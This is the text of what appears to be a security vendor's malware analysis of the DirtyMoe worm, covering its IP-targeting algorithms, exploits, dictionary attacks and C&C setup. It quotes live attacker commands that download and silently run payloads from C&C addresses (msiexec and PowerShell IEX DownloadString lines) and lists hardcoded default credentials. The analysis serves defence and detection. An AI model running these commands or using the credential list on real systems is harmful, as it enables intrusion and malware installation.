{
	"id": "bafbfa10-aa6a-4166-91d0-99fb70f54be9",
	"created_at": "2026-04-06T01:31:32.964134Z",
	"updated_at": "2026-04-10T03:20:03.395982Z",
	"deleted_at": null,
	"sha1_hash": "514d2a7f1a2a21ff728d888b3b40c4472cf31bf1",
	"title": "DirtyMoe: Worming Modules",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2980990,
	"plain_text": "DirtyMoe: Worming Modules\r\nBy Threat Research TeamThreat Research Team\r\nArchived: 2026-04-06 00:52:09 UTC\r\nThe DirtyMoe malware is deployed using various kits like PurpleFox or injected installers of Telegram Messenger\r\nthat require user interaction. Complementary to this deployment, one of the DirtyMoe modules expands the\r\nmalware using worm-like techniques that require no user interaction.\r\nThis research analyzes this worming module’s kill chain and the procedures used to launch/control the module\r\nthrough the DirtyMoe service. Other areas investigated include evaluating the risk of identified exploits used by\r\nthe worm and detailed analysis of how its victim selection algorithm works. Finally, we examine this performance\r\nand provide a thorough examination of the entire worming workflow.\r\nThe analysis showed that the worming module targets older well-known vulnerabilities, e.g., EternalBlue and Hot\r\nPotato Windows Privilege Escalation. Another important discovery is a dictionary attack using Service Control\r\nManager Remote Protocol (SCMR), WMI, and MS SQL services. Finally, an equally critical outcome is\r\ndiscovering the algorithm that generates victim target IP addresses based on the worming module’s geographical\r\nlocation.\r\nOne worm module can generate and attack hundreds of thousands of private and public IP addresses per day;\r\nmany victims are at risk since many machines still use unpatched systems or weak passwords. Furthermore, the\r\nDirtyMoe malware uses a modular design; consequently, we expect other worming modules to be added to target\r\nprevalent vulnerabilities.\r\n1. Introduction\r\nDirtyMoe, the successful malware we documented in detail in the previous series, also implements mechanisms to\r\nreproduce itself. The most common way of deploying the DirtyMoe malware is via phishing campaigns or\r\nmalvertising. In this series, we will focus on techniques that help DirtyMoe to spread in the wild.\r\nThe PurpleFox exploit kit (EK) is the most frequently observed approach to deploy DirtyMoe; the immediate\r\nfocus of PurpleFox EK is to exploit a victim machine and install DirtyMoe. PurpleFox EK primarily abuses\r\nvulnerabilities in the Internet Explorer browser via phishing emails or popunder ads. For example, Guardicore\r\ndescribed a worm spread by PurpleFox that abuses SMB services with weak passwords [2], infiltrating poorly\r\nsecured systems. Recently, Minerva Labs has described the new infection vector installing DirtyMoe via an\r\ninjected Telegram Installer [1].\r\nCurrently, we are monitoring three approaches used to spread DirtyMoe in the wild; Figure 1 illustrates the\r\nrelationship between the individual concepts. The primary function of the DirtyMoe malware is crypto-mining; it\r\nis deployed to victims’ machines using different techniques. We have observed PurpleFox EK, PurleFox Worm,\r\nand injected Telegram Installers as mediums to spread and install DirtyMoe; we consider it highly likely that other\r\nmechanisms are used in the wild.\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 1 of 21\n\nFigure 1. Mediums of DirtyMoe\r\nIn the fourth series on this malware family, we described the deployment of the DirtyMoe service. Figure 2\r\nillustrates the DirtyMoe hierarchy. The DirtyMoe service is run as a svchost process that starts two other\r\nprocesses: DirtyMoe Core and Executioner, which manages DirtyMoe modules. Typically, the executioner loads\r\ntwo modules; one for Monero mining and the other for worming replication.\r\nFigure 2. DirtyMoe hierarchy\r\nOur research has been focused on worming since it seems that worming is one of the main mediums to spread the\r\nDirtyMoe malware. The PurpleFox worm described by Guardicore [2] is just the tip of the worming iceberg\r\nbecause DirtyMoe utilizes sophisticated algorithms and methods to spread itself into the wild and even to spread\r\nlaterally in the local network.\r\nThe goal of the DirtyMoe worm is to exploit a target system and install itself into a victim machine. The DirtyMoe\r\nworm abuses several known vulnerabilities as follow:\r\nCVE:2019-9082 : ThinkPHP – Multiple PHP Injection RCEs\r\nCVE:2019-2725 : Oracle Weblogic Server – ‘AsyncResponseService’ Deserialization RCE\r\nCVE:2019-1458 : WizardOpium Local Privilege Escalation\r\nCVE:2018-0147 : Deserialization Vulnerability\r\nCVE:2017-0144 : EternalBlue SMB Remote Code Execution (MS17-010)\r\nMS15-076 : RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)\r\nDictionary attacks to MS SQL Servers, SMB, and Windows Management Instrumentation (WMI)\r\nThe prevalence of DirtyMoe is increasing in all corners of the world; this may be due to the DirtyMoe worm’s\r\nstrategy of generating targets using a pseudo-random IP generator that considers the worm’s geological and local\r\nlocation. A consequence of this technique is that the worm is more flexible and effective given its location. In\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 2 of 21\n\naddition, DirtyMoe can be expanded to machines hidden behind NAT as this strategy also provides lateral\r\nmovement in local networks. A single DirtyMoe instance can generate and attack up to 6,000 IP addresses per\r\nsecond.\r\nThe insidiousness of the whole worm’s design is its modularization controlled by C\u0026C servers. For example,\r\nDirtyMoe has a few worming modules targeting a specific vulnerability, and C\u0026C determines which worming\r\nmodule will be applied based on information sent by a DirtyMoe instance.\r\nThe DirtyMoe worming module implements three basic phases common to all types of vulnerabilities. First, the\r\nmodule generates a list of IP addresses to target in the initial phase. Then, the second phase attacks specific\r\nvulnerabilities against these targets. Finally, the module performs dictionary attacks against live machines\r\nrepresented by the randomly generated IP addresses. The most common modules that we have observed are SMB\r\nand SQL.\r\nThis article focuses on the DirtyMoe worming module. We analyze and discuss the worming strategy, which\r\nexploits are abused by the malware author, and a module behavior according to geological locations. One of the\r\nmain topics is the performance of IP address generation, which is crucial for the malware’s success. We are also\r\nlooking for specific implementations of abused exploits, including their origins.\r\n2. Worm Kill Chain\r\nWe can describe the general workflow of the DirtyMoe worming module through the kill chain. Figure 3\r\nillustrates stages of the worming workflow.\r\nFigure 3. Worming module workflow\r\nReconnaissance\r\nThe worming module generates targets at random but also considers the geolocation of the module. Each\r\ngenerated target is tested for the presence of vulnerable service versions; the module connects to the specific port\r\nwhere attackers expect vulnerable services and verifies whether the victim’s machine is live. If the verification is\r\nsuccessful, the worming module collects basic information about the victim’s OS and versions of targeted\r\nservices.\r\nWeaponization\r\nThe C\u0026C server appears to determine which specific module is used for worming without using any victim’s\r\ninformation. Currently, we do not precisely know what algorithm is used for module choice but suspect it depends\r\non additional information sent to the C\u0026C server.\r\nWhen the module verifies that a targeted victim’s machine is potentially exploitable, an appropriate payload is\r\nprepared, and an attack is started. The payload must be modified for each attack since a remote code execution\r\n(RCE) command is valid only for a few minutes.\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 3 of 21\n\nDelivery\r\nIn this kill chain phase, the worming module sends the prepared payload. The payload delivery is typically\r\nperformed using protocols of targeted services, e.g., SMB or MS SQL protocols.\r\nExploitation and Installation\r\nIf the payload is correct and the victim’s machine is successfully exploited, the RCE command included in the\r\npayload is run. Consequently, the DirtyMoe malware is deployed, as was detailed in the previous article\r\n(DirtyMoe: Deployment).\r\n3. RCE Command\r\nThe main goal of the worming module is to achieve RCE under administrator privileges and install a new\r\nDirtyMoe instance. The general form of the executed command ( @RCE@ ) is the same for each worming module:\r\nCmd /c for /d %i in (@WEB@) do Msiexec /i http://%i/@FIN@ /Q\r\nThe command usually iterates through three IP addresses of C\u0026C servers, including ports. IPs are represented by\r\nthe placeholder @WEB@ filled on runtime. Practically, @WEB@ is regenerated for each payload sent since the IPs\r\nare rotated every minute utilizing sophisticated algorithms; this was described in Section 2 of the first blog.\r\nThe second placeholder is @FIN@ representing the DirtyMoe object’s name; this is, in fact, an MSI installer\r\npackage. The package filename is in the form of a hash – [A-F0-9]{8}\\.moe . The hash name is generated using a\r\nhardcoded hash table, methods for rotations and substrings, and by the MS_RPC_\u003cn\u003e string, where n is a number\r\ndetermined by the DirtyMoe service.\r\nThe core of the @RCE@ command is the execution of the remote DirtyMoe object ( http:// ) via msiexec in\r\nsilent mode ( /Q ). An example of a specific @RCE@ command is:\r\nCmd /c for /d %i in (45.32.127.170:16148 92.118.151.102:19818 207.246.118.120:11410) do Msiexec /i\r\nhttp://%i/6067C695.moe /Q\r\n4. IP Address Generation\r\nThe key feature of the worming module is the generation of IP addresses (IPs) to attack. There are six methods\r\nused to generate IPs with the help of a pseudo-random generator; each method focuses on a different IPv4 Class.\r\nAccordingly, this factor contributes to the globally uniform distribution of attacked machines and enables the\r\ngeneration of more usable IP addresses to target.\r\n4.1 Class B from IP Table\r\nThe most significant proportion of generated addresses is provided by 10 threads generating IPs using a hardcoded\r\nlist of 24,622 items. Each list item is in form 0xXXXX0000 , representing IPs of Class B. Each thread generates IPs\r\nbased on the algorithms as follows:\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 4 of 21\n\nThe algorithm randomly selects a Class B address from the list and 65,536 times generates an entirely random\r\nnumber that adds to the selected Class B addresses. The effect is that the final IP address generated is based on the\r\ngeological location hardcoded in the list.\r\nFigure 4 shows the geological distribution of hardcoded addresses. The continent distribution is separated into\r\nfour parts: Asia, North America, Europe, and others (South America, Africa, Oceania). We verified this approach\r\nand generated 1M addresses using the algorithm. The result has a similar continental distribution. Hence, the\r\nimplementation ensures that the IP addresses distribution is uniform.\r\nFigure 4. Geological distribution of hardcoded class B IPs\r\n4.2 Fully Random IP\r\nThe other three threads generate completely random IPs, so the geological position is also entirely random.\r\nHowever, the full random IP algorithm generates low classes more frequently, as shown in the algorithm below.\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 5 of 21\n\n4.3 Derived Classes A, B, C\r\nThree other algorithms generate IPs based on an IP address of a machine (IPm) where the worming module runs.\r\nConsequently, the worming module targets machines in the nearby surroundings.\r\nAddresses are derived from the IPm masked to the appropriate Class A/B/C, and a random number representing\r\nthe lower Class is added; as shown in the following pseudo-code.\r\n4.4 Derived Local IPs\r\nThe last IP generating method is represented by one thread that scans interfaces attached to local networks. The\r\nworming module lists local IPs using gethostbyname() and processes one local address every two hours.\r\nEach local IP is masked to Class C, and 255 new local addresses are generated based on the masked address. As a\r\nresult, the worming module attacks all local machines close to the infected machine in the local network.\r\n5. Attacks to Abused Vulnerabilities\r\nWe have detected two worming modules which primarily attack SMB services and MS SQL databases. Our team\r\nhas been lucky since we also discovered something rare: a worming module containing exploits targeting PHP,\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 6 of 21\n\nJava Deserialization, and Oracle Weblogic Server that was still under development. In addition, the worming\r\nmodules include a packed dictionary of 100,000-words used with dictionary attacks.\r\n5.1 EternalBlue\r\nOne of the main vulnerabilities is CVE:2017-0144 : EternalBlue SMB Remote Code Execution (patched by\r\nMicrosoft in MS17-010). It is still bewildering how many EternalBlue attacks are still observed – Avast is still\r\nblocking approximately 20 million attempts for the EternalBlue attack every month.\r\nThe worming module focuses on the Windows version from Windows XP to Windows 8. We have identified that\r\nthe EternalBlue implementation is the same as described in exploit-db [3], and an effective payload including the\r\n@RCE@ command is identical to DoublePulsar [4]. Interestingly, the whole EternalBlue payload is hardcoded for\r\neach Windows architecture, although the payload can be composed for each platform separately.\r\n5.2 Service Control Manager Remote Protocol\r\nNo known vulnerability is used in the case of Service Control Manager Remote Protocol (SCMR) [5]. The\r\nworming module attacks SCMR through a dictionary attack. The first phase is to guess an administrator password.\r\nThe details of the dictionary attack are described in Section 6.4.\r\nIf the dictionary attack is successful and the module guesses the password, a new Windows service is created and\r\nstarted remotely via RPC over the SMB service. Figure 5 illustrates the network communication of the attack.\r\nBinding to the SCMR is identified using UUID {367ABB81-9844-35F1-AD32- 98F038001003} . On the server-side,\r\nthe worming module as a client writes commands to the \\PIPE\\svcctl pipe. The first batch of commands creates\r\na new service and registers a command with the malicious @RCE@ payload. The new service is started and is then\r\ndeleted to attempt to cover its tracks.\r\nThe Microsoft HTML Application Host ( mshta.exe ) is used as a LOLbin to execute and create ShellWindows\r\nand run @RCE@ . The advantage of this proxy execution is that mshta.exe is typically marked as trusted; some\r\ndefenders may not detect this misuse of mshta.exe .\r\nFigure 5. SCMR network communications\r\nWindows Event records these suspicious events in the System log, as shown in Figure 6. The service name is in\r\nthe form AC\u003cnumber\u003e , and the number is incremented for each successful attack. It is also worth noting that\r\nImagePath contains the @RCE@ command sent to SCMR in BinaryPathName , see Figure 5.\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 7 of 21\n\nFigure 6. Event log for SCMR\r\n5.3 Windows Management Instrumentation\r\nThe second method that does not misuse any known vulnerability is a dictionary attack to Windows Management\r\nInstrumentation (WMI). The workflow is similar to the SCMR attack. Firstly, the worming module must also\r\nguess the password of a victim administrator account. The details of the dictionary attack are described in Section\r\n6.4.\r\nThe attackers can use WMI to manage and access data and resources on remote computers [6]. If they have an\r\naccount with administrator privileges, full access to all system resources is available remotely.\r\nThe malicious misuse lies in the creation of a new process that runs @RCE@ via a WMI script; see Figure 7.\r\nDirtyMoe is then installed in the following six steps:\r\n1. Initialize the COM library.\r\n2. Connect to the default namespace root/cimv2 containing the WMI classes for management.\r\n3. The Win32_Process class is created, and @RCE@ is set up as a command-line argument.\r\n4. Win32_ProcessStartup represents the startup configuration of the new process. The worming module sets\r\na process window to a hidden state, so the execution is complete silently.\r\n5. The new process is started, and the DirtyMoe installer is run.\r\n6. Finally, the WMI script is finished, and the COM library is cleaned up.\r\nFigure 7. WMI scripts creating Win32_Process lunching the @RCE@ command\r\n5.4 Microsoft SQL Server\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 8 of 21\n\nAttacks on Microsoft SQL Servers are the second most widespread attack in terms of worming modules. Targeted\r\nMS SQL Servers are 2000, 2005, 2008, 2012, 2014, 2016, 2017, 2019.\r\nThe worming module also does not abuse any vulnerability related to MS SQL. However, it uses a combination of\r\nthe dictionary attack and MS15-076 : “RCE Allow Elevation of Privilege” known as “Hot Potato Windows\r\nPrivilege Escalation”. Additionally, the malware authors utilize the MS15-076 implementation known as Tater,\r\nthe PowerSploit function Invoke-ReflectivePEInjection, and CVE-2019-1458 : “WizardOpium Local Privilege\r\nEscalation” exploit.\r\nThe first stage of the MS SQL attack is to guess the password of an attacked MS SQL server. The first batch of\r\nusername/password pairs is hardcoded. The malware authors have collected the hardcoded credentials from\r\npublicly available sources. It contains fifteen default passwords for a few databases and systems like Nette\r\nDatabase, Oracle, Firebird, Kingdee KIS, etc. The complete hardcoded credentials are as follows:\r\n401hk/401hk_@_ , admin/admin , bizbox/bizbox , bwsa/bw99588399 , hbv7/zXJl@mwZ ,\r\nkisadmin/ypbwkfyjhyhgzj , neterp/neterp , ps/740316 , root/root , sp/sp , su/t00r_@_ ,\r\nsysdba/masterkey , uep/U_tywg_2008 , unierp/unierp , vice/vice .\r\nIf the first batch is not successful, the worming module attacks using the hardcoded dictionary. The detailed\r\nworkflow of the dictionary attack is described in Section 6.4.\r\nIf the module successfully guesses the username/password of the attacked MS SQL server, the module executes\r\ncorresponding payloads based on the Transact-SQL procedures. There are five methods launched one after\r\nanother.\r\n1. sp_start_job\r\nThe module creates, schedules, and immediately runs a task with Payload 1.\r\n2. sp_makewebtask\r\nThe module creates a task that produces an HTML document containing Payload 2.\r\n3. sp_OAMethod\r\nThe module creates an OLE object using the VBScript “WScript.Shell“ and runs Payload 3.\r\n4. xp_cmdshell\r\nThis method spawns a Windows command shell and passes in a string for execution represented by\r\nPayload 3.\r\n5. Run-time Environment\r\nPayload 4 is executed as a .NET assembly.\r\nIn brief, there are four payloads used for the DirtyMoe installation. The SQL worming module defines a\r\nplaceholder @SQLEXEC@ representing a full URL to the MSI installation package located in the C\u0026C server. If any\r\nof the payloads successfully performed a privilege escalation, the DirtyMoe installation is silently launched via\r\nMSI installer; see our DirtyMoe Deployment blog post for more details.\r\nPayload 1\r\nThe first payload tries to run the following PowerShell command:\r\npowershell -nop -exec bypass -c \"IEX $decoded; MsiMake @SQLEXEC@;\"\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 9 of 21\n\nwhere $decoded contains the MsiMake functions, as is illustrated in Figure 8. The function calls\r\nMsiInstallProduct function from msi.dll as a completely silent installation (INSTALLUILEVEL_NONE)\r\nbut only if the MS SQL server runs under administrator privileges.\r\nFigure 8. MsiMake function\r\nPayload 2\r\nThe second payload is used only for sp_makewebtask execution; the payload is written to the following autostart\r\nfolders:\r\nC:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.hta\r\nC:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.hta\r\nFigure 9 illustrates the content of the 1.hta file camouflaged as an HTML file. It is evident that DirtyMoe may\r\nbe installed on each Windows startup.\r\nFigure 9. ActiveX object runs via sp_makewebtask\r\nPayload 3\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 10 of 21\n\nThe last payload is more sophisticated since it targets the vulnerabilities and exploits mentioned above. Firstly, the\r\nworming module prepares a @SQLPSHELL@ placeholder containing a full URL to the DirtyMoe object that is the\r\nadapted version of the Tater PowerShell script.\r\nThe first stage of the payload is a powershell command:\r\npowershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString(''@SQLPSHELL@'');\r\nMsiMake @SQLEXEC@\"\r\nThe adapted Tater script implements the extended MsiMake function. The script attempts to install DirtyMoe\r\nusing three different ways:\r\n1. Install DirtyMoe via the MsiMake implementation captured in Figure 8.\r\n2. Attempt to exploit the system using Invoke-ReflectivePEInjection with the following arguments:\r\nInvoke-ReflectivePEInjection -PEBytes $Bytes -ExeArgs $@RCE@ -ForceASLR\r\nwhere $Bytes is the implementation of CVE-2019-1458 that is included in the script.\r\n3. The last way is installation via the Tater command:\r\nInvoke-Tater -Command $@RCE@\r\nThe example of Payload 3 is:\r\npowershell -nop -exec bypass -c \"IEX (New-ObjectNet. WebClient).DownloadString(\r\n'http://108.61.184.105:20114/57BC9B7E.Png'); MsiMake http://108.61.184.105:20114/0CFA042F.Png\r\nPayload 4\r\nThe attackers use .NET to provide a run-time environment that executes an arbitrary command under the MS SQL\r\nenvironment. The worming module defines a new assembly .NET procedure using Common Language Runtime\r\n(CLR), as Figure 10 demonstrates.\r\nFigure 10. Payload 4 is defined as .Net Assembly\r\nThe .NET code of Payload 4 is a simple class defining a SQL procedure ExecCommand that runs a malicious\r\ncommand using the Process class; shown in Figure 11.\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 11 of 21\n\nFigure 11. .Net code executing malicious commands\r\n5.5 Development Module\r\nWe have discovered one worming module containing artifacts that indicate that the module is in development.\r\nThis module does not appear to be widespread in the wild, and it may give insight into the malware authors’ future\r\nintentions. The module contains many hard-coded sections in different states of development; some sections do\r\nnot hint at the @RCE@ execution.\r\nPHP\r\nCVE:2019-9082: ThinkPHP - Multiple PHP Injection RCEs.\r\nThe module uses the exact implementation published at [7]; see Figure 12. In short, a CGI script that verifies the\r\nability of call_user_func_array is sent. If the verification is passed, the CGI script is re-sent with @RCE@ .\r\nFigure 12. CVE:2019-9082: ThinkPHP\r\nDeserialization\r\nCVE:2018-0147: Deserialization Vulnerability\r\nThe current module implementation executes a malicious Java class [8], shown in Figure 13, on an attacked\r\nserver. The RunCheckConfig class is an executioner for accepted connections that include a malicious serializable\r\nobject.\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 12 of 21\n\nFigure 13. Java class RunCheckConfig executing arbitrary commands\r\nThe module prepares the serializable object illustrated in Figure 14 that the RunCheckConfig class runs when the\r\nserver accepts this object through the HTTP POST method.\r\nFigure 14. Deserialized object including @RCE@\r\nThe implementation that delivers the RunCheckConfig class into the attacked server abused the same\r\nvulnerability. It prepares a serializable object executing ObjectOutputStream , which writes the RunCheckConfig\r\nclass into c:/windows/tmp . However, this implementation is not included in this module, so we assume that this\r\nmodule is still in development.\r\nOracle Weblogic Server\r\nCVE:2019-2725: Oracle Weblogic Server - 'AsyncResponseService' Deserialization RCE\r\nThe module again exploits vulnerabilities published at [9] to send malicious SOAP payloads without any\r\nauthentication to the Oracle Weblogic Server T3 interface, followed by sending additional SOAP payloads to the\r\nWLS AsyncResponseService interface.\r\nSOAP\r\nThe SOAP request defines the WorkContext as java.lang.Runtime with three arguments. The first argument\r\ndefines which executable should be run. The following arguments determine parameters for the executable. An\r\nexample of the WorkContext is shown in Figure 15.\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 13 of 21\n\nFigure 15. SOAP request for Oracle Weblogic Server\r\nHardcoded SOAP commands are not related to @RCE@ ; we assume that this implementation is also in\r\ndevelopment.\r\n6. Worming Module Execution\r\nThe worming module is managed by the DirtyMoe service, which controls its configuration, initialization, and\r\nworming execution. This section describes the lifecycle of the worming module.\r\n6.1 Configuration\r\nThe DirtyMoe service contacts one of the C\u0026C servers and downloads an appropriate worming module into a\r\nShim Database (SDB) file located at %windir%\\apppatch\\TK\u003cvolume-id\u003eMS.sdb . The worming module is then\r\ndecrypted and injected into a new svchost.exe process, as Figure 2 illustrates.\r\nThe encrypted module is a PE executable that contains additional placeholders. The DirtyMoe service passes\r\nconfiguration parameters to the module via these placeholders. This approach is identical to other DirtyMoe\r\nmodules; however, some of the placeholders are not used in the case of the worming module.\r\nThe placeholders overview is as follows:\r\n@TaskGuid@ : N/A in worming module\r\n@IPsSign@ : N/A in worming module\r\n@RunSign@ : Mutex created by the worming module that is controlled by the DirtyMoe service\r\n@GadSign@ : ID of DirtyMoe instance registered in C\u0026C\r\n@FixSign@ : Type of worming module, e.g, ScanSmbHs5\r\n@InfSign@ : Worming module configuration\r\n6.2 Initialization\r\nWhen the worming module, represented by the new process, is injected and resumed by the DirtyMoe service, the\r\nmodule initialization is invoked. Firstly, the module unpacks a word dictionary containing passwords for a\r\ndictionary attack. The dictionary consists of 100,000 commonly used passwords compressed using LZMA.\r\nSecondly, internal structures are established as follows:\r\nIP Address Backlog\r\nThe module stores discovered IP addresses with open ports of interest. It saves the IP address and the timestamp of\r\nthe last port check.\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 14 of 21\n\nDayspan and Hourspan Lists\r\nThese lists manage IP addresses and their insertion timestamps used for the dictionary attack. The IP addresses are\r\npicked up based on a threshold value defined in the configuration. The IP will be processed if the IP address\r\ntimestamp surpasses the threshold value of the day or hour span. If, for example, the threshold is set to 1, then if a\r\nday/hour span of the current date and a timestamp is greater than 1, a corresponding IP will be processed. The\r\nDayspan list registers IPs generated by Class B from IP Table, Fully Random IP, and Derived Classes A methods;\r\nin other words, IPs that are further away from the worming module location. On the other hand, the Hourspan list\r\nrecords IPs located closer.\r\nThirdly, the module reads its configuration described by the @InfSign@ placeholder. The configuration matches\r\nthis pattern: \u003cIP\u003e|\u003cPNG_ID\u003e|\u003ctimeout\u003e|[SMB:HX:PX1.X2.X3:AX:RX:BX:CX:DX:NX:SMB]\r\nIP is the number representing the machine IP from which the attack will be carried out. The IP is input\r\nfor the methods generating IPs; see Section 4. If the IP is not available, the default address 98.126.89.1 is\r\nused.\r\nPNG_ID is the number used to derive the hash-name that mirrors the DirtyMoe object name (MSI installer\r\npackage) stored at C\u0026C. The hashname is generated using MS_RPC_\u003cn\u003e string where n is PNG_ID ; see\r\nSection 3.\r\nTimeout is the default timeout for connections to the attacked services in seconds.\r\nHX is a threshold for comparing IP timestamps stored in the Dayspan and Hourspan lists. The comparison\r\nascertains whether an IP address will be processed if the timestamp of the IP address exceeds the day/hour\r\nthreshold.\r\nP is the flag for the dictionary attack.\r\nX1 number determines how many initial passwords will be used from the password dictionary to\r\nincrease the probability of success – the dictionary contains the most used passwords at the\r\nbeginning.\r\nX2 number is used for the second stage of the dictionary attack if the first X1 passwords are\r\nunsuccessful. Then the worming module tries to select X2 passwords from the dictionary\r\nrandomly.\r\nX3 number defines how many threads will process the Dayspan and Hourspan lists; more\r\nprecisely, how many threads will attack the registered IP addresses in the Dayspan/Hourspan lists.\r\nAX : how many threads will generate IP addresses using Class B from IP Table methods.\r\nRX : how many threads for the Fully Random IP method.\r\nBX , CX , DX : how many threads for the Derived Classes A, B, C methods.\r\nNX defines a thread quantity for the Derived Local IPs method.\r\nThe typical configuration can be 217.xxx.xxx.xxx|5|2|[SMB:H1:P1.30.3:A10:R3:B3:C3:D1:N3:SMB]\r\nFinally, the worming module starts all threads defined by the configuration, and the worming process and attacks\r\nare started.\r\n6.3 Worming\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 15 of 21\n\nThe worming process has five phases run, more or less, in parallel. Figure 16 has an animation of the worming\r\nprocess.\r\nPhase 1\r\nThe worming module usually starts 23 threads generating IP addresses based on Section 4. The IP addresses are\r\nclassified into two groups: day-span and hour-span.\r\nPhase 2\r\nThe second phase runs in parallel with the first; its goal is to test generated IPs. Each specific module targets\r\ndefined ports that are verified via sending a zero-length transport datagram. If the port is active and ready to\r\nreceive data, the IP address of the active port is added to IP Address Backlog. Additionally, the SMB worming\r\nmodule immediately tries the EternalBlue attack within the port scan.\r\nPhase 3\r\nThe IP addresses verified in Phase 2 are also registered into the Dayspan and Hourspan lists. The module keeps\r\nonly 100 items (IP addresses), and the lists are implemented as a queue. Therefore, some IPs can be removed from\r\nthese lists if the IP address generation is too fast or the dictionary attacks are too slow. However, the removed\r\naddresses are still present in the IP Address Backlog.\r\nPhase 4\r\nThe threads created based on the X3 configuration parameters process and manage the items (IPs) of Dayspan and\r\nHourspan lists. Each thread picks up an item from the corresponding list, and if the defined day/hour threshold\r\n(HX parameter) is exceeded, the module starts the dictionary attack to the picked-up IP address.\r\nPhase 5\r\nEach generated and verified IP is associated with a timestamp of creation. The last phase is activated if the\r\nprevious timestamp is older than 10 minutes, i.e., if the IP generation is suspended for any reason and no new IPs\r\ncome in 10 minutes. Then one dedicated thread extracts IPs from the backlog and processes these IPs from the\r\nbeginning; These IPs are processed as per Phase 2, and the whole worming process continues.\r\n6.4 Dictionary Attack\r\nThe dictionary attack targets two administrator user names, namely administrator for SMB services and sa\r\nfor MS SQL servers. If the attack is successful, the worming module infiltrates a targeted system utilizing an\r\nattack series composed of techniques described in Section 5:\r\nService Control Manager Remote Protocol (SCMR)\r\nWindows Management Instrumentation (WMI)\r\nMicrosoft SQL Server (SQL)\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 16 of 21\n\nThe first attack attempt is sent with an empty password. The module then addresses three states based on the\r\nattack response as follows:\r\nNo connection: the connection was not established, although a targeted port is open – a targeted service is\r\nnot available on this port.\r\nUnsuccessful: the targeted service/system is available, but authentication failed due to an incorrect\r\nusername or password.\r\nSuccess: the targeted service/system uses the empty password.\r\nAdministrator account has an empty password \r\nIf the administrator account is not protected, the whole worming process occurs quickly (this is the best possible\r\noutcome from the attacker’s point of view). The worming module then proceeds to infiltrate the targeted system\r\nwith the attack series (SCMR, WMI, SQL) by sending the empty password.\r\nBad username or authentication information\r\nA more complex situation occurs if the targeted services are active, and it is necessary to attack the system by\r\napplying the password dictionary.\r\nCleverly, the module stores all previously successful passwords in the system registry; the first phase of the\r\ndictionary attack iterates through all stored passwords and uses these to attack the targeted system. Then, the\r\nattack series (SCMR, WMI, SQL) is started if the password is successfully guessed.\r\nThe second phase occurs if the stored registry passwords yield no success. The module then attempts\r\nauthentication using a defined number of initial passwords from the password dictionary. This number is specified\r\nby the X1 configuration parameters (usually X1*100). If this phase is successful, the guessed password is stored\r\nin the system registry, and the attack series is initiated.\r\nThe final phase follows if the second phase is not successful. The module randomly chooses a password from a\r\ndictionary subset X2*100 times. The subset is defined as the original dictionary minus the first X1*100 items. In\r\ncase of success, the attack series is invoked, and the password is added to the system registry.\r\nSuccessfully used passwords are stored encrypted, in the following system registry location:\r\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\DirectPlay8\\Direct3D\\RegRunInfo-BarkIPsInfo\r\n7. Summary and Discussion\r\nModules\r\nWe have detected three versions of the DirtyMoe worming module in use. Two versions specifically focus on the\r\nSMB service and MS SQL servers. However, the third contains several artifacts implying other attack vectors\r\ntargeting PHP, Java Deserialization, and Oracle Weblogic Server. We continue to monitor and track these\r\nactivities.\r\nAttacked Machines\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 17 of 21\n\nOne interesting finding is an attack adaptation based on the geological location of the worming module. Methods\r\ndescribed in Section 4 try to distribute the generated IP addresses evenly to cover the largest possible radius. This\r\nis achieved using the IP address of the worming module itself since half of the threads generating the victim’s IPs\r\nare based on the module IP address. Otherwise, if the IP is not available for some reason, the IP address\r\n98.126.89.1 located in Los Angeles is used as the base address.\r\nWe performed a few VPN experiments for the following locations: the United States, Russian Federation, Czech\r\nRepublic, and Taiwan. The results are animated in Figure 17; Table 1 records the attack distributions for each\r\ntested VPN.\r\nTable 1. VPN attack distributions and top countries\r\nLAN\r\nPerhaps the most striking discovery was the observed lateral movement in local networks. The module keeps all\r\nsuccessfully guessed passwords in the system registry; these saved passwords increase the probability of password\r\nguessing in local networks, particularly in home and small business networks. Therefore, if machines in a local\r\nnetwork use the same weak passwords that can be easily assessed, the module can quickly infiltrate the local\r\nnetwork.\r\nExploits\r\nAll abused exploits are from publicly available resources. We have identified six main vulnerabilities summarized\r\nin Table 2. The worming module adopts the exact implementation of EternalBlue, ThinkPHP, and Oracle\r\nWeblogic Server exploits from exploit-db. In the same way, the module applies and modifies implementations of\r\nDoublePulsar, Tater, and PowerSploit frameworks.\r\nTable 2. Used exploits\r\nC\u0026C Servers\r\nhttps://decoded.avast.io/martinchlumecky/dirtymoe-5/\r\nPage 18 of 21\n\nThe C\u0026C servers determine which module will be deployed on a victim machine. The mechanism of the worming\r\nmodule selection depends on client information additionally sent to the C\u0026C servers. However, details of how this\r\nmodule selection works remain to be discovered.\r\nPassword Dictionary\r\nThe password dictionary is a collection of the most commonly used passwords obtained from the internet. The\r\ndictionary size is 100,000 words and numbers 